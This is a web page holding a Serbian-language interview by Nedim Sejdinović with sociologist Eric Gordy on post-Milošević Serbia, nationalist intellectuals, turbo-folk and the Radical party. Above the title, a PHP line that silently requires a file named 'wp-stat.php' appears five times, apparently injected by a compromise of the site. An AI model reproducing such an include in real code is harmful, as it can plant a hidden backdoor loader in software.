@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); ERIK GORDI, SOCIOLOG KULTURE: Srpski intelektualci – taoci vlastitih kreacija – Nedim Sejdinović

ERIK GORDI, SOCIOLOG KULTURE: Srpski intelektualci – taoci vlastitih kreacija

Možda je jedan od važnih razloga koji su doprineli da se američki sociolog kulture i profesor na Klark univerzitetu u državi Masačusets (SAD), Erik Gordi, zainteresuje za političke i društveno-kulturne prilike u Srbiji i na Balkanu – njegova supruga, Beograđanska Ivana, sa kojom se upoznao 1990. godine i sa kojom danas ima kćerku Azru. Ili je, pak, presudniji faktor “najvažnije pitanje” njegovog života i naučnog rada – pitanje kako ljudi uspevaju da žive u autoritarnim uslovima.

Omiljene Gordijeve grupe su “Disciplina kičme, “Obojeni program”, Let 3″ i “KUD Idijoti”, a njegovu knjigu “Kultura vlasti u Srbiji: Nacionalizam i destrukcija alternativa”, objavio je B92. Zainteresovani za Gordijev rad mogu posetiti njegov blog “East Ethnia” na adresi http://eastethnia.blogspot.com.

Režim Slobodana Miloševića je razarao i uništavao alternativu, i tako, i pored, neuspeha na političkom planu, opstajao na vlasti – to je jedna od glavnih teza vaše knjige “Kultura vlasti u Srbiji”. Posle pada S.M. postavlja se pitanje da li je pobedu protiv njega odnela prava alternativa ili je politici koju je on zastupao – on sam postao smetnja. Kakvo je vaše mišljenje o tome, da li je Milošević postao žrtva vlastite politike, a da u Srbiji još nisu razvijene alternative toj politici?

– Ni pre pada Miloševića nije bilo velikog oduševljenja političkom opozicijom. Ili su zastupali teze vrlo slične njegovim (DSS, DS za vreme pečenja vola na Palama), ili su bili kompromitovani saradnjom sa samim režimom (SPO, ND). Miloševićev škart (Čović, Mihajlović) preuzeo je deo opozicije, i jedan deo opozicije je činila grupa stranaka koje jedva da su postojale izvan velikih koalicija (GSS, DHSS). Sve je to zajedno učinilo da na kraju 90-ih godina – iako je bilo moguće odrediti se ili za ili protiv Milosevica – nije bilo moguće odrediti se za ili protiv njegove politike na konzistentan i jasan način. Naravno da kad je koalicija slabih, neprofilisanih i kompromitovanih stranaka stigla na vlast 2000. g., ostavila je veliki ulaz za one koji su profitirali od bezakonja pod Miloševićem, i hteli su da i dalje profitiraju. Uslov za njihovo dalje profitiranje je jednostavan: da ne dođe do stabilne demokratske države. Zato je svaka izabrana vlada od 2000. sprečena da uspostavi kontrolu nad vojskom i policijom, polulegalne i ilegalne tajne službe su radile kao da promene nije ni bilo, i paradržavni profiteri su brzo našli svoje oslonce u novom režimu. Dakle, deo onoga “i posle Slobe, Sloba” može se objasniti slabošću političkih stranaka na institucionalnom nivou. Deo leži i u tome što vodeći političari znaju da im je podrška slaba, pa se plaše da izađu sa pričom koja bi bila mnogo drugačija od onoga što je Milošević ponudio. Zato kad DSS (ali ne samo DSS!) govori o ratovima koji su vođeni 90-ih, ne odstupa mnogo od teza SPS-a i radikala: ili ne misle drugačije, ili su svesni da nemaju ni kredibilitet ni intelektualnu snagu da nude neko drugo shvatanje.

ZA SADA BEZ DOBRE ELITE

Čini se da su urbane snage u Srbiji, one koje su se otpočetka i dosledno borile protiv Miloševićevih ratnih pohoda, sada u još većoj defanzivi nego za vreme njegove vladavine? Mnogi od najznačajnijih predstavnika ove opcije i dalje nemaju pristup ogromnoj većini medija, ili su satanizovani u mnogo većoj meri nego ranije!

– Da bi urbane snage imale vodeću ulogu u politici, urbano mora da ima vodeću ulogu u kulturi. Za to su glavni uslovi postojanje odgovorne elite, i postojanje dosta velike klase ljudi čija egzistencija ne ovisi direktno o državi. Klijentelizam je neprijatelj lične i društvene autonomije. Sadašnja politička, medijska i kulturna elita se ne razlikuje mnogo, ni po svom shvatanju ni po načinu na koji su došli do svojih položaja, od elite za vreme Miloševića. Toliko o zvaničnoj eliti. Moglo bi se reći da postoji neka urbana kontra-elita, ali radi se o krugu ljudi koji je dosta uzan, zatvoren, čak marginalan. Možda bi se moglo reći da taj krug nije mnogo veći od onih 40-50 ljudi koji su stalni gosti u emisiji “Peščanik”. Nije realno očekivati da će drugi ljudi, građani, biti mnogo napredniji od svoje elite, pogotovo kad su mnogo puta razočarani, prevareni i opljačkani. Logično je da se to ispoljava resentimanom i frustracijom. Mnogima je odlazak Miloševićevog režima predstavljao poslednju nadu, a sada nemaju više ni to. Zato traže rešenje u raznim praznim pričama, što o nevinosti što o dostojanstvu, dok im se ništa bolje i ne nudi. Sve to naravno lepo odgovara onima koji žele da sačuvaju beneficije koje su dobili u ranijem periodu.

Kulturna paradigma u Srbiji zasniva se i na ekskomunikaciji pojedinih ljudi iz kulture ukoliko ne žele da pristanu na ovdašnji autizam i ako su suštinski kritični prema ulozi Srbije u ratovima tokom devedesetih! Bora Ćosić, Mirko Kovač, Vidosav Stevanović – da navedem neke primere – faktički su gumicom izbrisani sa mape srpske kulture!

– Dva su glavna opredeljenja u konkurenciji – grubo rečeno, tendencija ka otvorenošću i tendencija ka zatvorenošću. Ono što odvaja navedene osobe od sadašnjih kulturnih zvaničnika je to što su oni želeli svet, i dobijali priznanje u njemu. Ko nema kvalitete da se afirmiše u svetu, njemu apsolutno odgovara zatvorena, ksenofobična sredina. Posledica te zatvorenosti je da kultura postaje sve manje vrednost po sebi, a sve vise oruđe za političke obračune.

TAOCI VLASTITE KREACIJE

Može li se reći da je ovdašnja intelektualna elita doživela ne poraz nego potpuni istorijski fijasko. Da li njenu odgovornost za potpuni moralni pad i društveno rasulo možemo meriti sa odgovornošću političara?

– Um želi da bude slobodan, samo poremećen um to ne želi. Ili um koji je naviknut na to da bude podređen silom. Treba uzeti u obzir ko su ti ljudi koji su predstavljeni kao intelektualna elita. Uglavnom se radi o grupaciji likova čiji je uticaj za vreme komunizma opadao zato što im komunisti nisu bili dovoljno autoritarni ili “čisti” u ideološkom smislu. Dovoljno je čitati ponovo izjave Dobrice Ćosića, Mihajla Markovića ili Ljubomira Tadića iz prve polovine 90-ih godina o politici i kulturi da bi njihovo intelektualno opredeljenje bilo očigledno. Čini mi se da su, u vreme kada se komunistički sistem raspadao, ti intelektualci mislili da mogu da koriste političare za svoje svrhe, i preko njih da dođu na vlast. Ne znam, da nisu možda sebe zamišljali kao neke platonske mudrace-vladare? Jedino su uspeli u tome da postanu saučesnici jedne kriminalne bande. Zar nije jedna od definicija otuđenosti da ljudi postaju taoci onih stvari koje su sami sebi izmislili i kreirali?

Postoji na našoj javnoj sceni, prilično zastupljena, teza da je put u Evropu moguć samo podsticanjem i unapređenjem ekonomije i zakonodavstva, bez izgradnje svesti o tome šta se dešavalo na ovim prostorima tokom devedesetih, bez ikakvih promena u kulturi. Je li takav put odista moguć?

– Ako prihvatamo idealnu sliku Evrope kao neki raj tolerancije, visoke svesti i progresivnosti, onda nije ni Evropa deo Evrope. Nisu sva evropska društva prevazilazila svoj istorijski teret, svoj rasizam, niti svoju sklonost nasilju. Ali ta idealna slika ima svoju funkciju: nije cilj da srpsko društvo bude evropsko nego da bude samom sebi dostojno. Tu će sigurno biti potreban razvoj zakonodavstva, politike i ekonomije, ali to neće biti dovoljno. Pitanje je da li će Srbija biti zauvek zarobljena teškim bremenom 20. veka ili postati nešto što njeni građani zele – zemlja gde će mladi ljudi hteti da ostanu. Ako neka ideja o Evropi pomaže u tome da se zemlja oslobodi ružne prošlosti, tim bolje. Ali da su suštinske promene potrebne, to je realnost i bez nekakvog evropskog sna.

TURBO-FOLK – DRUŠTVENA FORMACIJA

Uglavnom se revitalizuje kulturni prostor bivše SFRJ. Nekima se čini da Srbija uglavnom, osim individualnih napora, ne učestvuje u ovom procesu?

– Ipak mi se čini da i Srbija učestvuje. To se vidi na ekonomskom planu i pomalo i na političkom, mada politička komunikacija svakako nije dostigla odgovarajući nivo. Što se tiče kulture, čitavo jezičko područje Srbije, Crne Gore, Hrvatske i Bosne i Hercegovine jeste zanimljivo svakoj osobi koja živi u njemu. Mislim da kulturna komunikacija nikada i nije prestala, čak i kada je bilo najteže. To se uočava i u filmu, i u književnosti, i u pozorištu i muzici. Barem onaj deo srpske publike koji želi da zna šta rade Vinko Brešan, Dubravka Ugrešić, Danis Tanović, Cubismo, Let 3 i Edo Maajka, uglavnom to zna (da ne pričam o Severini!). Verovatno urbana publika u susednim zemljama zna za šta rade beogradski umetnici. Ali, naravno ima i onih koji ne žele da znaju. Može se pričati o velikom nedostatku razumevanja za osećaje drugih. To je bio uzrok onih nesreća s izlaganjem četničkih simbola u Zagrebu prošle godine, na primer. Mozda je kulturna komunikacija ipak nespojiva s nacionalnim ponosom. Ali pre bih rekao da su te male krize posledice toga da društva u regionu nisu sebi polozili račune o raspadu Jugoslavije, niti o svom ponašanju tokom ratova. To će biti dug i bolan proces za svakog, a predstavlja uslov za pokretanje ozbiljnije i opširnije kulturne komunikacije.

Suštinski, ipak se ništa ili veoma malo promenilo na medijsko-kulturnoj sceni Srbije. Još uvek njome dominira turbo-folk. Vi ste pisali o uzorčno-posledičnom odnosu turbo-folk scene i Miloševićeve vlasti. Kako onda tumačiti dominaciju ovog “kulturnog koda” do dana današnjeg?

– Turbo-folk jeste doživeo najveći publicitet pod Miloševićem, ali nije ga njegov režim izmislio. Jedan od razloga za eksploziju turbo-folka je bila smrt rok-scene, koja je i sama bila posledica destrukcije interurbane kulture bivše Jugoslavije. Ali ima tu i drugih uticaja: folk kultura je postajala komercijalnija, što nije retka pojava u razvoju kulture (tako je nastao američki kantri, kada su tradicionalne planinske forme s juga primile uticaj džeza i bluza). U tom smislu su Lepa Brena i “Bijelo Dugme” prethodnice turbo-folka. I pored toga, mešavina folklornih motiva sa tehnologijom komercijalne muzike je opšti svetski fenomen, a ne samo svojstvo Srbije. Na taj način su nastali reggae, rap i rai, kao i bugarska čalga, turski arabesk, i latinoamerička salsa. Ono što jeste specifično za Srbiju jeste sklop političkih, finansijskih i muzičkih motiva. U tom smislu je turbo-folk manje muzička forma, a više društvena formacija. Inače je turbo-folk sam po sebi samo muzika, nije ni krivac ni pretnja. Kao svaka muzika, da li će da bude kreativna i transformacijsko sredstvo ili kič zavisi od automonije i origalnosti umetnika. U Americi je kantri uglavnom shvaćen kao konzervativna forma, ali i kantri ima svoju Lusindu Vilijams i Džonija Keša. Da vidite koliko ona kombinacija “istočnog” melosa sa tehnologijom klupske muzike može da bude moćna, dovoljno je slušati Natašu Atlas. Nikako ne isključujem mogućnost da se pojavi neki turbo-folk vizionar koji će da izražava život turbo-folk publike na autentičan, ubedljiv i revolucionaran način.

LAK I DOSADAN ŽIVOT

Možda se uspon turbo-folka može tumačiti i time što je oficijelna, tzv. elitna srpska kultura, koja je stajala u pozadini Miloševićevih ratnih pohoda, duboko anahrona, autistična, u krajnjem neinventivna i dosadna?

– Suština je oficijelne kulture da bude dosadna! Ali, čini mi se da u ovom slučaju možemo prepoznati sindrom autoritarnog nasledstva, pošto ima mnogo ljudi koji su shvatili da sve što autoritarizam traži od čoveka jeste konformizam: da bude tih, da ne bude kreativan, da bude spreman da prihvata sve promene odozgo kao da nisu ništa. Ako neko nije sklon individualizmu, onda je cena konformizma prilično mala, a beneficije mogu da budu velike. Uostalom, život u takvim sistemima je dosta lak za one koji odbijaju teret odgovornosti. Jeste da je dosadan.

RADIKALI I UMERENI RADIKALI

Kako objašnjavate neprestani uspon radikala posle 5. oktobra?

– Ne bi bilo SPS režima bez SRS, kao što ne bi postojala SRS bez SPS. Već 1992. godine je istraživanje pokazalo da veliki broj pristalica SPS-a bi rado glasao za SRS, kao i obrnuto. Znači, te dve stranke su dve varijante jedne iste stvari. Pošto SPS nikada i nije bila politička stranka, vec “holding company” za nekretninu bivše SKJ, brzo se raspala u više frakcija čim su počeli problemi oko “vlasništva”. Tehnokratski i oportunistički deo članstva je otišao u DSS, dok su oni kvazipolitičari koji su i dalje držali do iluzija o sebi ili nastavili da se bave politikom u SPS-u ili su osnovale svoje strančice. Ali je ostao veliki broj ljudi koji su doista bili mobilisani i kojima se narod zaista dogodio 90-ih godina. Jedino rešenje koje im je ostalo bilo je pristupanje, odnosno glasanje za SRS. Znači, radikalsko biračko telo čine grupa iskrenih desničara i leš SPS-a. Mislim da ta kombinacija prilično dobro objašnjava njihovih 30-35 odsto podrške.

Kako bi se radikali objasnili kao svojevrsni kulturni fenomen? Šta Srbiju čini drugačijom od ostalih zemalja u okruženju, pa da ultranacionalistička stranka bude najzastupljenija u parlamentu?

– Mislim da treba uzeti u obzir činjenicu da je ekstremistička priča bila od 1990. nadalje jedina priča koja se mogla čuti po školama, po medijima, na više mesta. Niko do sada nije ponudio ubedljivu alternativu, i “umerene” stranke pružaju istu priču u malo blažoj verziji. Znači, neko ko zaista veruje u tu desničarsku predstavu stvarnosti pre će da glasa za stranku koja je dosledno desničarska, a ne za one koji se foliraju da su nešto drugo. Dok neko ko ne veruje u te priče, jedva da može naći za koga da glasa.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.